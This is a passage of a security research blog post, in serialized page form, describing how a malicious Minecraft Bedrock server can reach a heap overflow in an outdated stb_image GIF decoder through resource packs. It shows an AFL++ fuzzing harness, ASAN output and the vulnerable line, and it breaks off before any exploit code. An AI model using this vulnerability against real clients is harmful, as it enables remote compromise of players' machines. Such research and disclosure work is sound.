"tags":149589,"body":149592,"_type":5983,"_id":158972,"_source":5985,"_file":158973,"_stem":158974,"_extension":5988},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":149588,"width":14,"height":15},"/posts/minecraft-heap-overflow-to-rce/title.png",[149590,149591],"minecraft","rce",{"type":21,"children":149593,"toc":158949},[149594,149599,149604,149609,149615,149620,149639,149644,149650,149655,149660,149666,149671,149676,149681,149687,149692,149697,149703,149723,149735,149742,149764,149778,149785,149791,149801,149821,149826,149832,149845,150190,150195,150203,150209,150228,150536,150564,150607,150619,150627,150632,151101,151120,151141,151483,151507,151779,151803,151830,152039,152058,152066,152085,152091,152153,152156,152178,152182,152187,152192,152198,152203,152217,152223,152237,152243,152256,152261,152269,152274,152280,152301,152309,152322,152325,152330,152344,152349,152354,152360,152365,152388,152393,152399,152404,152416,152428,152542,152562,152567,152572,152578,152583,152603,153218,153231,154305,154310,154318,154323,154329,154334,154342,154355,154360,154365,154372,154385,154390,154397,154452,154472,154479,154498,154505,154508,154513,154518,154524,154536,154549,154557,154628,154639,154673,154681,154686,154691,154697,154709,154728,154740,154745,154753,154772,154780,154799,154807,154833,154841,154846,154854,154859,154867,154870,154875,154880,154886,154899,154917,154955,154985,154993,154998,155004,155009,155014,155020,155032,155201,155213,155221,155226,155233,155238,155299,155346,155358,155363,155389,155463,155501,155506,155514,155535,155540,155566,155600,155653,155700,155706,155725,155757,155765,155868,155939,155945,155971,155978,155983,155990,155995,156236,156262,156267,156315,156320,156326,156358,156370,156402,156410,156449,156457,156462,156470,156475,156483,156495,156503,156515,156523,156535,156555,156561,156581,156598,156606,156618,156626,156645,156650,156658,156663,156671,156697,156708,156715,156720,156728,156733,156741,156746,156754,156759,156767,156772,156780,156785,156793,156834,156841,156846,156854,156859,156867,156872,156880,156885,156890,156898,156903,156911,156937,156945,156971,156979,156984,156992,156997,157005,157013,157018,157026,157031,157039,157042,157053,157087,157105,157113,157133,157139,157158,157216,157236,157244,157247,157286,157346,157351,157357,157370,157378,157430,157469,157477,157510,157513,157533,157541,157547,157552,157560,157600,157641,157661,157666,157671,157689,157695,157700,157719,157780,157788,157814,157820,157840,157845,157850,157857,157922,157927,157934,157955,157960,157972,157978,158011,158018,158023,158051,158058,158114,158126,158133,158194,158213,158219,158253,158274,158301,158309,158362,158432,158438,158458,158501,158506,158904,158910,158915,158926,158930,158935,158940,158945],{"type":24,"tag":25,"props":149595,"children":149597},{"id":149596},"pwning-minecraft-4-byte-heap-overflow-to-rce",[149598],{"type":30,"value":149584},{"type":24,"tag":33,"props":149600,"children":149601},{},[149602],{"type":30,"value":149603},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":24,"tag":33,"props":149605,"children":149606},{},[149607],{"type":30,"value":149608},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":24,"tag":68,"props":149610,"children":149612},{"id":149611},"the-target",[149613],{"type":30,"value":149614},"The Target",{"type":24,"tag":33,"props":149616,"children":149617},{},[149618],{"type":30,"value":149619},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":24,"tag":33,"props":149621,"children":149622},{},[149623,149625,149630,149632,149637],{"type":30,"value":149624},"There are two main editions: ",{"type":24,"tag":275,"props":149626,"children":149627},{},[149628],{"type":30,"value":149629},"Minecraft Java Edition",{"type":30,"value":149631},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":24,"tag":275,"props":149633,"children":149634},{},[149635],{"type":30,"value":149636},"Minecraft Bedrock Edition",{"type":30,"value":149638},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":24,"tag":33,"props":149640,"children":149641},{},[149642],{"type":30,"value":149643},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":24,"tag":151,"props":149645,"children":149647},{"id":149646},"choice-of-context",[149648],{"type":30,"value":149649},"Choice of Context",{"type":24,"tag":33,"props":149651,"children":149652},{},[149653],{"type":30,"value":149654},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":24,"tag":33,"props":149656,"children":149657},{},[149658],{"type":30,"value":149659},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":24,"tag":151,"props":149661,"children":149663},{"id":149662},"resource-packs",[149664],{"type":30,"value":149665},"Resource Packs",{"type":24,"tag":33,"props":149667,"children":149668},{},[149669],{"type":30,"value":149670},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":24,"tag":33,"props":149672,"children":149673},{},[149674],{"type":30,"value":149675},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":24,"tag":33,"props":149677,"children":149678},{},[149679],{"type":30,"value":149680},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":24,"tag":68,"props":149682,"children":149684},{"id":149683},"finding-a-memory-corruption-bug",[149685],{"type":30,"value":149686},"Finding a Memory Corruption Bug",{"type":24,"tag":33,"props":149688,"children":149689},{},[149690],{"type":30,"value":149691},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":24,"tag":33,"props":149693,"children":149694},{},[149695],{"type":30,"value":149696},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":24,"tag":151,"props":149698,"children":149700},{"id":149699},"locating-image-parsing-code",[149701],{"type":30,"value":149702},"Locating Image Parsing Code",{"type":24,"tag":33,"props":149704,"children":149705},{},[149706,149708,149714,149715,149721],{"type":30,"value":149707},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":24,"tag":156,"props":149709,"children":149711},{"className":149710},[],[149712],{"type":30,"value":149713},"PNG",{"type":30,"value":16241},{"type":24,"tag":156,"props":149716,"children":149718},{"className":149717},[],[149719],{"type":30,"value":149720},"GIF",{"type":30,"value":149722}," and look for error logging or other messages that use those substrings.",{"type":24,"tag":33,"props":149724,"children":149725},{},[149726,149728,149733],{"type":30,"value":149727},"Searching for the string ",{"type":24,"tag":156,"props":149729,"children":149731},{"className":149730},[],[149732],{"type":30,"value":149720},{"type":30,"value":149734}," returned some interesting results:",{"type":24,"tag":33,"props":149736,"children":149737},{},[149738],{"type":24,"tag":140,"props":149739,"children":149741},{"alt":142,"src":149740},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":24,"tag":33,"props":149743,"children":149744},{},[149745,149747,149754,149756,149763],{"type":30,"value":149746},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":24,"tag":37,"props":149748,"children":149751},{"href":149749,"rel":149750},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[41],[149752],{"type":30,"value":149753},"stb_image.h",{"type":30,"value":149755},". For an example: usage of ",{"type":24,"tag":37,"props":149757,"children":149760},{"href":149758,"rel":149759},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[41],[149761],{"type":30,"value":149762},"bad Image Descriptor",{"type":30,"value":436},{"type":24,"tag":33,"props":149765,"children":149766},{},[149767,149769,149776],{"type":30,"value":149768},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":24,"tag":37,"props":149770,"children":149773},{"href":149771,"rel":149772},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[41],[149774],{"type":30,"value":149775},"stbi__gif_load_next",{"type":30,"value":149777},", and loaded the resource pack - this confirmed its usage:",{"type":24,"tag":33,"props":149779,"children":149780},{},[149781],{"type":24,"tag":140,"props":149782,"children":149784},{"alt":142,"src":149783},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":24,"tag":151,"props":149786,"children":149788},{"id":149787},"stb-image-library",[149789],{"type":30,"value":149790},"STB Image Library",{"type":24,"tag":33,"props":149792,"children":149793},{},[149794,149799],{"type":24,"tag":156,"props":149795,"children":149797},{"className":149796},[],[149798],{"type":30,"value":149753},{"type":30,"value":149800}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":24,"tag":33,"props":149802,"children":149803},{},[149804,149806,149811,149813,149820],{"type":30,"value":149805},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":24,"tag":156,"props":149807,"children":149809},{"className":149808},[],[149810],{"type":30,"value":149753},{"type":30,"value":149812}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":24,"tag":37,"props":149814,"children":149817},{"href":149815,"rel":149816},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[41],[149818],{"type":30,"value":149819},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":30,"value":436},{"type":24,"tag":33,"props":149822,"children":149823},{},[149824],{"type":30,"value":149825},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":24,"tag":21995,"props":149827,"children":149829},{"id":149828},"fuzzing",[149830],{"type":30,"value":149831},"Fuzzing",{"type":24,"tag":33,"props":149833,"children":149834},{},[149835,149837,149844],{"type":30,"value":149836},"The fuzzer consisted of a very simple ",{"type":24,"tag":37,"props":149838,"children":149841},{"href":149839,"rel":149840},"https://github.com/AFLplusplus/AFLplusplus",[41],[149842],{"type":30,"value":149843},"AFL++",{"type":30,"value":29833},{"type":24,"tag":920,"props":149846,"children":149848},{"code":149847,"language":6268,"meta":7,"className":19616,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[149849],{"type":24,"tag":156,"props":149850,"children":149851},{"__ignoreMap":7},[149852,149865,149877,149884,149930,149942,149963,149970,149994,150009,150016,150023,150095,150119,150134,150141,150148,150161,150168,150183],{"type":24,"tag":930,"props":149853,"children":149854},{"class":932,"line":933},[149855,149860],{"type":24,"tag":930,"props":149856,"children":149857},{"style":1079},[149858],{"type":30,"value":149859},"#define",{"type":24,"tag":930,"props":149861,"children":149862},{"style":1002},[149863],{"type":30,"value":149864}," STB_IMAGE_IMPLEMENTATION\n",{"type":24,"tag":930,"props":149866,"children":149867},{"class":932,"line":984},[149868,149872],{"type":24,"tag":930,"props":149869,"children":149870},{"style":1079},[149871],{"type":30,"value":93480},{"type":24,"tag":930,"props":149873,"children":149874},{"style":1270},[149875],{"type":30,"value":149876}," \"./stb/stb_image.h\"\n",{"type":24,"tag":930,"props":149878,"children":149879},{"class":932,"line":993},[149880],{"type":24,"tag":930,"props":149881,"children":149882},{"emptyLinePlaceholder":16},[149883],{"type":30,"value":2412},{"type":24,"tag":930,"props":149885,"children":149886},{"class":932,"line":1057},[149887,149891,149895,149899,149903,149908,149912,149917,149921,149926],{"type":24,"tag":930,"props":149888,"children":149889},{"style":937},[149890],{"type":30,"value":22149},{"type":24,"tag":930,"props":149892,"children":149893},{"style":1002},[149894],{"type":30,"value":93845},{"type":24,"tag":930,"props":149896,"children":149897},{"style":959},[149898],{"type":30,"value":1010},{"type":24,"tag":930,"props":149900,"children":149901},{"style":937},[149902],{"type":30,"value":22149},{"type":24,"tag":930,"props":149904,"children":149905},{"style":1023},[149906],{"type":30,"value":149907}," argc",{"type":24,"tag":930,"props":149909,"children":149910},{"style":959},[149911],{"type":30,"value":962},{"type":24,"tag":930,"props":149913,"children":149914},{"style":937},[149915],{"type":30,"value":149916},"char",{"type":24,"tag":930,"props":149918,"children":149919},{"style":1158},[149920],{"type":30,"value":92947},{"type":24,"tag":930,"props":149922,"children":149923},{"style":1023},[149924],{"type":30,"value":149925},"argv",{"type":24,"tag":930,"props":149927,"children":149928},{"style":959},[149929],{"type":30,"value":1503},{"type":24,"tag":930,"props":149931,"children":149932},{"class":932,"line":1066},[149933,149937],{"type":24,"tag":930,"props":149934,"children":149935},{"style":937},[149936],{"type":30,"value":22179},{"type":24,"tag":930,"props":149938,"children":149939},{"style":959},[149940],{"type":30,"value":149941}," x, y, comp;\n",{"type":24,"tag":930,"props":149943,"children":149944},{"class":932,"line":1075},[149945,149950,149954,149958],{"type":24,"tag":930,"props":149946,"children":149947},{"style":937},[149948],{"type":30,"value":149949},"    unsigned",{"type":24,"tag":930,"props":149951,"children":149952},{"style":937},[149953],{"type":30,"value":62136},{"type":24,"tag":930,"props":149955,"children":149956},{"style":1158},[149957],{"type":30,"value":12924},{"type":24,"tag":930,"props":149959,"children":149960},{"style":959},[149961],{"type":30,"value":149962},"ret;\n",{"type":24,"tag":930,"props":149964,"children":149965},{"class":932,"line":1122},[149966],{"type":24,"tag":930,"props":149967,"children":149968},{"emptyLinePlaceholder":16},[149969],{"type":30,"value":2412},{"type":24,"tag":930,"props":149971,"children":149972},{"class":932,"line":1131},[149973,149977,149982,149986,149990],{"type":24,"tag":930,"props":149974,"children":149975},{"style":1079},[149976],{"type":30,"value":15386},{"type":24,"tag":930,"props":149978,"children":149979},{"style":959},[149980],{"type":30,"value":149981}," (argc ",{"type":24,"tag":930,"props":149983,"children":149984},{"style":1158},[149985],{"type":30,"value":4681},{"type":24,"tag":930,"props":149987,"children":149988},{"style":1242},[149989],{"type":30,"value":11044},{"type":24,"tag":930,"props":149991,"children":149992},{"style":959},[149993],{"type":30,"value":1503},{"type":24,"tag":930,"props":149995,"children":149996},{"class":932,"line":1144},[149997,150001,150005],{"type":24,"tag":930,"props":149998,"children":149999},{"style":1079},[150000],{"type":30,"value":18847},{"type":24,"tag":930,"props":150002,"children":150003},{"style":1242},[150004],{"type":30,"value":7637},{"type":24,"tag":930,"props":150006,"children":150007},{"style":959},[150008],{"type":30,"value":5539},{"type":24,"tag":930,"props":150010,"children":150011},{"class":932,"line":1169},[150012],{"type":24,"tag":930,"props":150013,"children":150014},{"style":959},[150015],{"type":30,"value":1840},{"type":24,"tag":930,"props":150017,"children":150018},{"class":932,"line":1191},[150019],{"type":24,"tag":930,"props":150020,"children":150021},{"emptyLinePlaceholder":16},[150022],{"type":30,"value":2412},{"type":24,"tag":930,"props":150024,"children":150025},{"class":932,"line":1223},[150026,150031,150035,150040,150044,150048,150052,150056,150060,150064,150069,150073,150078,150082,150087,150091],{"type":24,"tag":930,"props":150027,"children":150028},{"style":959},[150029],{"type":30,"value":150030},"    ret ",{"type":24,"tag":930,"props":150032,"children":150033},{"style":1158},[150034],{"type":30,"value":1161},{"type":24,"tag":930,"props":150036,"children":150037},{"style":1002},[150038],{"type":30,"value":150039}," stbi_load",{"type":24,"tag":930,"props":150041,"children":150042},{"style":959},[150043],{"type":30,"value":1010},{"type":24,"tag":930,"props":150045,"children":150046},{"style":1023},[150047],{"type":30,"value":149925},{"type":24,"tag":930,"props":150049,"children":150050},{"style":959},[150051],{"type":30,"value":6849},{"type":24,"tag":930,"props":150053,"children":150054},{"style":1242},[150055],{"type":30,"value":7129},{"type":24,"tag":930,"props":150057,"children":150058},{"style":959},[150059],{"type":30,"value":26162},{"type":24,"tag":930,"props":150061,"children":150062},{"style":1158},[150063],{"type":30,"value":6230},{"type":24,"tag":930,"props":150065,"children":150066},{"style":959},[150067],{"type":30,"value":150068},"x, ",{"type":24,"tag":930,"props":150070,"children":150071},{"style":1158},[150072],{"type":30,"value":6230},{"type":24,"tag":930,"props":150074,"children":150075},{"style":959},[150076],{"type":30,"value":150077},"y, ",{"type":24,"tag":930,"props":150079,"children":150080},{"style":1158},[150081],{"type":30,"value":6230},{"type":24,"tag":930,"props":150083,"children":150084},{"style":959},[150085],{"type":30,"value":150086},"comp, ",{"type":24,"tag":930,"props":150088,"children":150089},{"style":1242},[150090],{"type":30,"value":1818},{"type":24,"tag":930,"props":150092,"children":150093},{"style":959},[150094],{"type":30,"value":1278},{"type":24,"tag":930,"props":150096,"children":150097},{"class":932,"line":1281},[150098,150102,150107,150111,150115],{"type":24,"tag":930,"props":150099,"children":150100},{"style":1079},[150101],{"type":30,"value":15386},{"type":24,"tag":930,"props":150103,"children":150104},{"style":959},[150105],{"type":30,"value":150106}," (ret ",{"type":24,"tag":930,"props":150108,"children":150109},{"style":1158},[150110],{"type":30,"value":1239},{"type":24,"tag":930,"props":150112,"children":150113},{"style":937},[150114],{"type":30,"value":130198},{"type":24,"tag":930,"props":150116,"children":150117},{"style":959},[150118],{"type":30,"value":1503},{"type":24,"tag":930,"props":150120,"children":150121},{"class":932,"line":1313},[150122,150126,150130],{"type":24,"tag":930,"props":150123,"children":150124},{"style":1079},[150125],{"type":30,"value":18847},{"type":24,"tag":930,"props":150127,"children":150128},{"style":1242},[150129],{"type":30,"value":7637},{"type":24,"tag":930,"props":150131,"children":150132},{"style":959},[150133],{"type":30,"value":5539},{"type":24,"tag":930,"props":150135,"children":150136},{"class":932,"line":1335},[150137],{"type":24,"tag":930,"props":150138,"children":150139},{"style":959},[150140],{"type":30,"value":1840},{"type":24,"tag":930,"props":150142,"children":150143},{"class":932,"line":1376},[150144],{"type":24,"tag":930,"props":150145,"children":150146},{"style":959},[150147],{"type":30,"value":64873},{"type":24,"tag":930,"props":150149,"children":150150},{"class":932,"line":1418},[150151,150156],{"type":24,"tag":930,"props":150152,"children":150153},{"style":1002},[150154],{"type":30,"value":150155},"    stbi_image_free",{"type":24,"tag":930,"props":150157,"children":150158},{"style":959},[150159],{"type":30,"value":150160},"(ret);\n",{"type":24,"tag":930,"props":150162,"children":150163},{"class":932,"line":1438},[150164],{"type":24,"tag":930,"props":150165,"children":150166},{"emptyLinePlaceholder":16},[150167],{"type":30,"value":2412},{"type":24,"tag":930,"props":150169,"children":150170},{"class":932,"line":1479},[150171,150175,150179],{"type":24,"tag":930,"props":150172,"children":150173},{"style":1079},[150174],{"type":30,"value":20090},{"type":24,"tag":930,"props":150176,"children":150177},{"style":1242},[150178],{"type":30,"value":1245},{"type":24,"tag":930,"props":150180,"children":150181},{"style":959},[150182],{"type":30,"value":5539},{"type":24,"tag":930,"props":150184,"children":150185},{"class":932,"line":1506},[150186],{"type":24,"tag":930,"props":150187,"children":150188},{"style":959},[150189],{"type":30,"value":2528},{"type":24,"tag":33,"props":150191,"children":150192},{},[150193],{"type":30,"value":150194},"And soon after starting the fuzzer it found an interesting bug:",{"type":24,"tag":920,"props":150196,"children":150198},{"code":150197},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[150199],{"type":24,"tag":156,"props":150200,"children":150201},{"__ignoreMap":7},[150202],{"type":30,"value":150197},{"type":24,"tag":21995,"props":150204,"children":150206},{"id":150205},"investigating-the-finding",[150207],{"type":30,"value":150208},"Investigating the Finding",{"type":24,"tag":33,"props":150210,"children":150211},{},[150212,150214,150220,150221,150226],{"type":30,"value":150213},"The ASAN output shows that at line ",{"type":24,"tag":156,"props":150215,"children":150217},{"className":150216},[],[150218],{"type":30,"value":150219},"6233",{"type":30,"value":145720},{"type":24,"tag":156,"props":150222,"children":150224},{"className":150223},[],[150225],{"type":30,"value":149753},{"type":30,"value":150227}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":24,"tag":920,"props":150229,"children":150231},{"code":150230,"language":6268,"meta":7,"className":19616,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[150232],{"type":24,"tag":156,"props":150233,"children":150234},{"__ignoreMap":7},[150235,150277,150284,150310,150323,150330,150338,150345,150399,150406,150452,150485],{"type":24,"tag":930,"props":150236,"children":150237},{"class":932,"line":933},[150238,150242,150246,150251,150256,150260,150264,150269,150273],{"type":24,"tag":930,"props":150239,"children":150240},{"style":937},[150241],{"type":30,"value":54133},{"type":24,"tag":930,"props":150243,"children":150244},{"style":937},[150245],{"type":30,"value":54138},{"type":24,"tag":930,"props":150247,"children":150248},{"style":1002},[150249],{"type":30,"value":150250}," stbi__out_gif_code",{"type":24,"tag":930,"props":150252,"children":150253},{"style":959},[150254],{"type":30,"value":150255},"(stbi__gif ",{"type":24,"tag":930,"props":150257,"children":150258},{"style":1158},[150259],{"type":30,"value":1410},{"type":24,"tag":930,"props":150261,"children":150262},{"style":1023},[150263],{"type":30,"value":111726},{"type":24,"tag":930,"props":150265,"children":150266},{"style":959},[150267],{"type":30,"value":150268},", stbi__uint16 ",{"type":24,"tag":930,"props":150270,"children":150271},{"style":1023},[150272],{"type":30,"value":156},{"type":24,"tag":930,"props":150274,"children":150275},{"style":959},[150276],{"type":30,"value":1054},{"type":24,"tag":930,"props":150278,"children":150279},{"class":932,"line":984},[150280],{"type":24,"tag":930,"props":150281,"children":150282},{"style":959},[150283],{"type":30,"value":13987},{"type":24,"tag":930,"props":150285,"children":150286},{"class":932,"line":993},[150287,150292,150296,150301,150305],{"type":24,"tag":930,"props":150288,"children":150289},{"style":959},[150290],{"type":30,"value":150291},"   stbi_uc ",{"type":24,"tag":930,"props":150293,"children":150294},{"style":1158},[150295],{"type":30,"value":1410},{"type":24,"tag":930,"props":150297,"children":150298},{"style":959},[150299],{"type":30,"value":150300},"p, ",{"type":24,"tag":930,"props":150302,"children":150303},{"style":1158},[150304],{"type":30,"value":1410},{"type":24,"tag":930,"props":150306,"children":150307},{"style":959},[150308],{"type":30,"value":150309},"c;\n",{"type":24,"tag":930,"props":150311,"children":150312},{"class":932,"line":1057},[150313,150318],{"type":24,"tag":930,"props":150314,"children":150315},{"style":937},[150316],{"type":30,"value":150317},"   int",{"type":24,"tag":930,"props":150319,"children":150320},{"style":959},[150321],{"type":30,"value":150322}," idx; \n",{"type":24,"tag":930,"props":150324,"children":150325},{"class":932,"line":1066},[150326],{"type":24,"tag":930,"props":150327,"children":150328},{"emptyLinePlaceholder":16},[150329],{"type":30,"value":2412},{"type":24,"tag":930,"props":150331,"children":150332},{"class":932,"line":1075},[150333],{"type":24,"tag":930,"props":150334,"children":150335},{"style":959},[150336],{"type":30,"value":150337},"   [...]\n",{"type":24,"tag":930,"props":150339,"children":150340},{"class":932,"line":1122},[150341],{"type":24,"tag":930,"props":150342,"children":150343},{"emptyLinePlaceholder":16},[150344],{"type":30,"value":2412},{"type":24,"tag":930,"props":150346,"children":150347},{"class":932,"line":1131},[150348,150352,150356,150360,150364,150369,150373,150378,150382,150387,150391,150395],{"type":24,"tag":930,"props":150349,"children":150350},{"style":1079},[150351],{"type":30,"value":55733},{"type":24,"tag":930,"props":150353,"children":150354},{"style":959},[150355],{"type":30,"value":1087},{"type":24,"tag":930,"props":150357,"children":150358},{"style":1023},[150359],{"type":30,"value":111726},{"type":24,"tag":930,"props":150361,"children":150362},{"style":959},[150363],{"type":30,"value":16864},{"type":24,"tag":930,"props":150365,"children":150366},{"style":1023},[150367],{"type":30,"value":150368},"cur_y",{"type":24,"tag":930,"props":150370,"children":150371},{"style":1158},[150372],{"type":30,"value":11411},{"type":24,"tag":930,"props":150374,"children":150375},{"style":1023},[150376],{"type":30,"value":150377}," g",{"type":24,"tag":930,"props":150379,"children":150380},{"style":959},[150381],{"type":30,"value":16864},{"type":24,"tag":930,"props":150383,"children":150384},{"style":1023},[150385],{"type":30,"value":150386},"max_y",{"type":24,"tag":930,"props":150388,"children":150389},{"style":959},[150390],{"type":30,"value":5579},{"type":24,"tag":930,"props":150392,"children":150393},{"style":1079},[150394],{"type":30,"value":51546},{"type":24,"tag":930,"props":150396,"children":150397},{"style":959},[150398],{"type":30,"value":5539},{"type":24,"tag":930,"props":150400,"children":150401},{"class":932,"line":1144},[150402],{"type":24,"tag":930,"props":150403,"children":150404},{"emptyLinePlaceholder":16},[150405],{"type":30,"value":2412},{"type":24,"tag":930,"props":150407,"children":150408},{"class":932,"line":1169},[150409,150414,150418,150422,150426,150431,150435,150439,150443,150447],{"type":24,"tag":930,"props":150410,"children":150411},{"style":959},[150412],{"type":30,"value":150413},"   idx ",{"type":24,"tag":930,"props":150415,"children":150416},{"style":1158},[150417],{"type":30,"value":1161},{"type":24,"tag":930,"props":150419,"children":150420},{"style":1023},[150421],{"type":30,"value":150377},{"type":24,"tag":930,"props":150423,"children":150424},{"style":959},[150425],{"type":30,"value":16864},{"type":24,"tag":930,"props":150427,"children":150428},{"style":1023},[150429],{"type":30,"value":150430},"cur_x",{"type":24,"tag":930,"props":150432,"children":150433},{"style":1158},[150434],{"type":30,"value":12014},{"type":24,"tag":930,"props":150436,"children":150437},{"style":1023},[150438],{"type":30,"value":150377},{"type":24,"tag":930,"props":150440,"children":150441},{"style":959},[150442],{"type":30,"value":16864},{"type":24,"tag":930,"props":150444,"children":150445},{"style":1023},[150446],{"type":30,"value":150368},{"type":24,"tag":930,"props":150448,"children":150449},{"style":959},[150450],{"type":30,"value":150451},"; \n",{"type":24,"tag":930,"props":150453,"children":150454},{"class":932,"line":1191},[150455,150460,150464,150468,150472,150476,150480],{"type":24,"tag":930,"props":150456,"children":150457},{"style":959},[150458],{"type":30,"value":150459},"   p ",{"type":24,"tag":930,"props":150461,"children":150462},{"style":1158},[150463],{"type":30,"value":1161},{"type":24,"tag":930,"props":150465,"children":150466},{"style":1158},[150467],{"type":30,"value":10253},{"type":24,"tag":930,"props":150469,"children":150470},{"style":1023},[150471],{"type":30,"value":111726},{"type":24,"tag":930,"props":150473,"children":150474},{"style":959},[150475],{"type":30,"value":16864},{"type":24,"tag":930,"props":150477,"children":150478},{"style":1023},[150479],{"type":30,"value":121149},{"type":24,"tag":930,"props":150481,"children":150482},{"style":959},[150483],{"type":30,"value":150484},"[idx];\n",{"type":24,"tag":930,"props":150486,"children":150487},{"class":932,"line":1223},[150488,150493,150497,150502,150507,150511,150515,150519,150523,150527,150531],{"type":24,"tag":930,"props":150489,"children":150490},{"style":1023},[150491],{"type":30,"value":150492},"   g",{"type":24,"tag":930,"props":150494,"children":150495},{"style":959},[150496],{"type":30,"value":16864},{"type":24,"tag":930,"props":150498,"children":150499},{"style":1023},[150500],{"type":30,"value":150501},"history",{"type":24,"tag":930,"props":150503,"children":150504},{"style":959},[150505],{"type":30,"value":150506},"[idx ",{"type":24,"tag":930,"props":150508,"children":150509},{"style":1158},[150510],{"type":30,"value":1471},{"type":24,"tag":930,"props":150512,"children":150513},{"style":1242},[150514],{"type":30,"value":14852},{"type":24,"tag":930,"props":150516,"children":150517},{"style":959},[150518],{"type":30,"value":11770},{"type":24,"tag":930,"props":150520,"children":150521},{"style":1158},[150522],{"type":30,"value":1161},{"type":24,"tag":930,"props":150524,"children":150525},{"style":1242},[150526],{"type":30,"value":7637},{"type":24,"tag":930,"props":150528,"children":150529},{"style":959},[150530],{"type":30,"value":52163},{"type":24,"tag":930,"props":150532,"children":150533},{"style":1422},[150534],{"type":30,"value":150535},"          // OOB write\n",{"type":24,"tag":33,"props":150537,"children":150538},{},[150539,150541,150546,150548,150554,150556,150562],{"type":30,"value":150540},"It’s reasonable to assume ",{"type":24,"tag":156,"props":150542,"children":150544},{"className":150543},[],[150545],{"type":30,"value":79596},{"type":30,"value":150547}," is outside the bounds of ",{"type":24,"tag":156,"props":150549,"children":150551},{"className":150550},[],[150552],{"type":30,"value":150553},"g->history",{"type":30,"value":150555},", which leads to a one-byte OOB write (",{"type":24,"tag":156,"props":150557,"children":150559},{"className":150558},[],[150560],{"type":30,"value":150561},"g->history[idx / 4] = 1",{"type":30,"value":150563},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":24,"tag":33,"props":150565,"children":150566},{},[150567,150569,150574,150576,150582,150584,150589,150591,150597,150599,150605],{"type":30,"value":150568},"Because 